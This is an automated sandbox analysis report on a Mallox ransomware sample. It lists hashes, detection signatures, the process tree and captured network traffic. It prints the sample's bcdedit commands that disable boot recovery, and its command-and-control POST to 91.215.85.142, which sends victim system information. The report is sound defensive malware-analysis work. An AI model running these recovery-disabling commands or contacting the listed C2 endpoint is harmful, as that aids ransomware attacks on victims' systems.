Edit tour

Windows Analysis Report
Ransomware Mallox.exe

Overview

General Information

Sample name:	Ransomware Mallox.exe
Analysis ID:	1549252
MD5:	9099859494363864de61fb30d6c201e6
SHA1:	90378c5fd151128287c12eea0ea3761833b0ad03
SHA256:	06699c98ed2ef759b2434ac5777a2886b966c0ffa1c96c046f5cde77fe833784
Tags:	exeMalloxRansomwareuser-JAMESWT_MHT
Infos:

Detection

Targeted Ransomware

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found ransom note / readme

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected RansomwareGeneric

Yara detected Targeted Ransomware

AI detected suspicious sample

Creates files in the recycle bin to hide itself

Deletes shadow drive data (may be related to ransomware)

Machine Learning detection for sample

Opens network shares

Sigma detected: Suspicious Epmap Connection

Uses bcdedit to modify the Windows boot settings

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

Abnormal high CPU Usage

Checks for available system drives (often done to infect USB drives)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Enables debug privileges

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

May use bcdedit to modify the Windows boot settings

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64

Ransomware Mallox.exe (PID: 7740 cmdline: "C:\Users\user\Desktop\Ransomware Mallox.exe" MD5: 9099859494363864DE61FB30D6C201E6)

cmd.exe (PID: 7832 cmdline: "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

bcdedit.exe (PID: 7916 cmdline: bcdedit /set {current} bootstatuspolicy ignoreallfailures MD5: 74F7B84B0A547592CA63A00A8C4AD583)

cmd.exe (PID: 7848 cmdline: "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

bcdedit.exe (PID: 7940 cmdline: bcdedit /set {current} recoveryenabled no MD5: 74F7B84B0A547592CA63A00A8C4AD583)

notepad.exe (PID: 1568 cmdline: "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HOW TO BACK FILES.txt MD5: 27F71B12CB585541885A31BE22F61C83)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: Ransomware Mallox.exe PID: 7740	JoeSecurity_Ransomware_Generic	Yara detected Ransomware_Generic	Joe Security
Process Memory Space: Ransomware Mallox.exe PID: 7740	JoeSecurity_TargetedRansomware	Yara detected Targeted Ransomware	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Epmap Connection

Source: Network Connection

Author: frack113, Tim Shelton (fps): Data: DestinationIp: 192.168.2.1, DestinationIsIpv6: false, DestinationPort: 135, EventID: 3, Image: C:\Users\user\Desktop\Ransomware Mallox.exe, Initiated: true, ProcessId: 7740, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49801

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T13:23:35.895424+0100	2022930	1	A Network Trojan was detected	172.202.163.200	443	192.168.2.10	49826	TCP
2024-11-05T13:24:14.899845+0100	2022930	1	A Network Trojan was detected	172.202.163.200	443	192.168.2.10	49994	TCP

ET MALWARE Win32/Filecoder.OJC CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-05T13:23:27.093029+0100	2039815	1	A Network Trojan was detected	192.168.2.10	49781	91.215.85.142	80	TCP
2024-11-05T13:23:28.271153+0100	2039815	1	A Network Trojan was detected	192.168.2.10	49788	91.215.85.142	80	TCP
2024-11-05T13:23:30.208228+0100	2039815	1	A Network Trojan was detected	192.168.2.10	49802	91.215.85.142	80	TCP
2024-11-05T13:23:31.457212+0100	2039815	1	A Network Trojan was detected	192.168.2.10	49808	91.215.85.142	80	TCP
2024-11-05T13:23:32.564101+0100	2039815	1	A Network Trojan was detected	192.168.2.10	49819	91.215.85.142	80	TCP
2024-11-05T13:23:33.958951+0100	2039815	1	A Network Trojan was detected	192.168.2.10	49825	91.215.85.142	80	TCP
2024-11-05T13:23:35.756816+0100	2039815	1	A Network Trojan was detected	192.168.2.10	49838	91.215.85.142	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Ransomware Mallox.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: Ransomware Mallox.exe

ReversingLabs: Detection: 81%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for sample

Source: Ransomware Mallox.exe

Joe Sandbox ML: detected

Source: Ransomware Mallox.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: Ransomware Mallox.exe, 00000000.00000003.1689061261.0000023CAFFE6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdb source: Ransomware Mallox.exe, 00000000.00000003.1688757795.0000023CAFFE6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\HOW TO BACK FILES.txtxt source: Ransomware Mallox.exe, 00000000.00000003.1696834790.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1699524403.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1692939049.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp, Ransomware Mallox.exe, 00000000.00000003.1700357889.0000023CADEDD000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: z:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: x:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: v:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: t:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: r:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: p:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: n:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: l:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: j:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: h:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: f:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: d:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: b:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: y:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: w:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: u:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: s:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: q:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: o:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: m:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: k:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: i:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: g:	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: e:	Jump to behavior
Source: C:\Windows\System32\bcdedit.exe	File opened: c:
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: a:	Jump to behavior

Source: C:\Users\user\Desktop\Ransomware Mallox.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: C:\Program Files\Adobe\Acrobat DC	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: C:\Program Files\Adobe\NULL	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\NULL	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File opened: C:\Program Files\Adobe\Acrobat DC\NULL	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2039815 - Severity 1 - ET MALWARE Win32/Filecoder.OJC CnC Checkin : 192.168.2.10:49781 -> 91.215.85.142:80
Source: Network traffic	Suricata IDS: 2039815 - Severity 1 - ET MALWARE Win32/Filecoder.OJC CnC Checkin : 192.168.2.10:49788 -> 91.215.85.142:80
Source: Network traffic	Suricata IDS: 2039815 - Severity 1 - ET MALWARE Win32/Filecoder.OJC CnC Checkin : 192.168.2.10:49825 -> 91.215.85.142:80
Source: Network traffic	Suricata IDS: 2039815 - Severity 1 - ET MALWARE Win32/Filecoder.OJC CnC Checkin : 192.168.2.10:49838 -> 91.215.85.142:80
Source: Network traffic	Suricata IDS: 2039815 - Severity 1 - ET MALWARE Win32/Filecoder.OJC CnC Checkin : 192.168.2.10:49802 -> 91.215.85.142:80
Source: Network traffic	Suricata IDS: 2039815 - Severity 1 - ET MALWARE Win32/Filecoder.OJC CnC Checkin : 192.168.2.10:49808 -> 91.215.85.142:80
Source: Network traffic	Suricata IDS: 2039815 - Severity 1 - ET MALWARE Win32/Filecoder.OJC CnC Checkin : 192.168.2.10:49819 -> 91.215.85.142:80

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: api.ipify.orgConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.215.85.142Content-Length: 158Connection: Keep-AliveCache-Control: no-cacheData Raw: 75 73 65 72 3d 70 61 6e 64 61 26 54 61 72 67 65 74 49 44 3d 39 30 31 32 45 30 34 46 32 43 34 39 32 37 36 30 37 46 41 35 36 41 39 30 26 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 3d 57 69 6e 64 6f 77 73 25 32 30 31 30 25 32 30 50 72 6f 25 32 30 78 36 34 2c 25 32 30 43 48 2c 25 32 30 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 2c 25 32 30 36 35 31 36 38 39 26 6d 61 78 5f 73 69 7a 65 5f 6f 66 5f 66 69 6c 65 3d 30 2e 30 26 73 69 7a 65 5f 6f 66 5f 68 64 64 3d 32 32 30 Data Ascii: user=panda&TargetID=9012E04F2C4927607FA56A90&SystemInformation=Windows%2010%20Pro%20x64,%20CH,%20173.254.250.76,%20651689&max_size_of_file=0.0&size_of_hdd=220
Source: global traffic	HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.215.85.142Content-Length: 158Connection: Keep-AliveCache-Control: no-cacheData Raw: 75 73 65 72 3d 70 61 6e 64 61 26 54 61 72 67 65 74 49 44 3d 39 30 31 32 45 30 34 46 32 43 34 39 32 37 36 30 37 46 41 35 36 41 39 30 26 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 3d 57 69 6e 64 6f 77 73 25 32 30 31 30 25 32 30 50 72 6f 25 32 30 78 36 34 2c 25 32 30 43 48 2c 25 32 30 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 2c 25 32 30 36 35 31 36 38 39 26 6d 61 78 5f 73 69 7a 65 5f 6f 66 5f 66 69 6c 65 3d 30 2e 30 26 73 69 7a 65 5f 6f 66 5f 68 64 64 3d 32 32 30 Data Ascii: user=panda&TargetID=9012E04F2C4927607FA56A90&SystemInformation=Windows%2010%20Pro%20x64,%20CH,%20173.254.250.76,%20651689&max_size_of_file=0.0&size_of_hdd=220
Source: global traffic	HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.215.85.142Content-Length: 158Connection: Keep-AliveCache-Control: no-cacheData Raw: 75 73 65 72 3d 70 61 6e 64 61 26 54 61 72 67 65 74 49 44 3d 39 30 31 32 45 30 34 46 32 43 34 39 32 37 36 30 37 46 41 35 36 41 39 30 26 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 3d 57 69 6e 64 6f 77 73 25 32 30 31 30 25 32 30 50 72 6f 25 32 30 78 36 34 2c 25 32 30 43 48 2c 25 32 30 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 2c 25 32 30 36 35 31 36 38 39 26 6d 61 78 5f 73 69 7a 65 5f 6f 66 5f 66 69 6c 65 3d 30 2e 30 26 73 69 7a 65 5f 6f 66 5f 68 64 64 3d 32 32 30 Data Ascii: user=panda&TargetID=9012E04F2C4927607FA56A90&SystemInformation=Windows%2010%20Pro%20x64,%20CH,%20173.254.250.76,%20651689&max_size_of_file=0.0&size_of_hdd=220
Source: global traffic	HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.215.85.142Content-Length: 158Connection: Keep-AliveCache-Control: no-cacheData Raw: 75 73 65 72 3d 70 61 6e 64 61 26 54 61 72 67 65 74 49 44 3d 39 30 31 32 45 30 34 46 32 43 34 39 32 37 36 30 37 46 41 35 36 41 39 30 26 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 3d 57 69 6e 64 6f 77 73 25 32 30 31 30 25 32 30 50 72 6f 25 32 30 78 36 34 2c 25 32 30 43 48 2c 25 32 30 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 2c 25 32 30 36 35 31 36 38 39 26 6d 61 78 5f 73 69 7a 65 5f 6f 66 5f 66 69 6c 65 3d 30 2e 30 26 73 69 7a 65 5f 6f 66 5f 68 64 64 3d 32 32 30 Data Ascii: user=panda&TargetID=9012E04F2C4927607FA56A90&SystemInformation=Windows%2010%20Pro%20x64,%20CH,%20173.254.250.76,%20651689&max_size_of_file=0.0&size_of_hdd=220
Source: global traffic	HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.215.85.142Content-Length: 158Connection: Keep-AliveCache-Control: no-cacheData Raw: 75 73 65 72 3d 70 61 6e 64 61 26 54 61 72 67 65 74 49 44 3d 39 30 31 32 45 30 34 46 32 43 34 39 32 37 36 30 37 46 41 35 36 41 39 30 26 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 3d 57 69 6e 64 6f 77 73 25 32 30 31 30 25 32 30 50 72 6f 25 32 30 78 36 34 2c 25 32 30 43 48 2c 25 32 30 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 2c 25 32 30 36 35 31 36 38 39 26 6d 61 78 5f 73 69 7a 65 5f 6f 66 5f 66 69 6c 65 3d 30 2e 30 26 73 69 7a 65 5f 6f 66 5f 68 64 64 3d 32 32 30 Data Ascii: user=panda&TargetID=9012E04F2C4927607FA56A90&SystemInformation=Windows%2010%20Pro%20x64,%20CH,%20173.254.250.76,%20651689&max_size_of_file=0.0&size_of_hdd=220
Source: global traffic	HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.215.85.142Content-Length: 158Connection: Keep-AliveCache-Control: no-cacheData Raw: 75 73 65 72 3d 70 61 6e 64 61 26 54 61 72 67 65 74 49 44 3d 39 30 31 32 45 30 34 46 32 43 34 39 32 37 36 30 37 46 41 35 36 41 39 30 26 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 3d 57 69 6e 64 6f 77 73 25 32 30 31 30 25 32 30 50 72 6f 25 32 30 78 36 34 2c 25 32 30 43 48 2c 25 32 30 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 2c 25 32 30 36 35 31 36 38 39 26 6d 61 78 5f 73 69 7a 65 5f 6f 66 5f 66 69 6c 65 3d 30 2e 30 26 73 69 7a 65 5f 6f 66 5f 68 64 64 3d 32 32 30 Data Ascii: user=panda&TargetID=9012E04F2C4927607FA56A90&SystemInformation=Windows%2010%20Pro%20x64,%20CH,%20173.254.250.76,%20651689&max_size_of_file=0.0&size_of_hdd=220
Source: global traffic	HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.215.85.142Content-Length: 158Connection: Keep-AliveCache-Control: no-cacheData Raw: 75 73 65 72 3d 70 61 6e 64 61 26 54 61 72 67 65 74 49 44 3d 39 30 31 32 45 30 34 46 32 43 34 39 32 37 36 30 37 46 41 35 36 41 39 30 26 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 3d 57 69 6e 64 6f 77 73 25 32 30 31 30 25 32 30 50 72 6f 25 32 30 78 36 34 2c 25 32 30 43 48 2c 25 32 30 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 2c 25 32 30 36 35 31 36 38 39 26 6d 61 78 5f 73 69 7a 65 5f 6f 66 5f 66 69 6c 65 3d 30 2e 30 26 73 69 7a 65 5f 6f 66 5f 68 64 64 3d 32 32 30 Data Ascii: user=panda&TargetID=9012E04F2C4927607FA56A90&SystemInformation=Windows%2010%20Pro%20x64,%20CH,%20173.254.250.76,%20651689&max_size_of_file=0.0&size_of_hdd=220

Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 91.215.85.142 91.215.85.142

Source: Joe Sandbox View

ASN Name: PINDC-ASRU PINDC-ASRU

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.10:49826
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.10:49994

Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: api.ipify.orgConnection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: api.ipify.org

Source: unknown

HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 91.215.85.142Content-Length: 158Connection: Keep-AliveCache-Control: no-cacheData Raw: 75 73 65 72 3d 70 61 6e 64 61 26 54 61 72 67 65 74 49 44 3d 39 30 31 32 45 30 34 46 32 43 34 39 32 37 36 30 37 46 41 35 36 41 39 30 26 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 3d 57 69 6e 64 6f 77 73 25 32 30 31 30 25 32 30 50 72 6f 25 32 30 78 36 34 2c 25 32 30 43 48 2c 25 32 30 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 2c 25 32 30 36 35 31 36 38 39 26 6d 61 78 5f 73 69 7a 65 5f 6f 66 5f 66 69 6c 65 3d 30 2e 30 26 73 69 7a 65 5f 6f 66 5f 68 64 64 3d 32 32 30 Data Ascii: user=panda&TargetID=9012E04F2C4927607FA56A90&SystemInformation=Windows%2010%20Pro%20x64,%20CH,%20173.254.250.76,%20651689&max_size_of_file=0.0&size_of_hdd=220

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 12:23:26 GMTServer: ApacheAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Keep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20
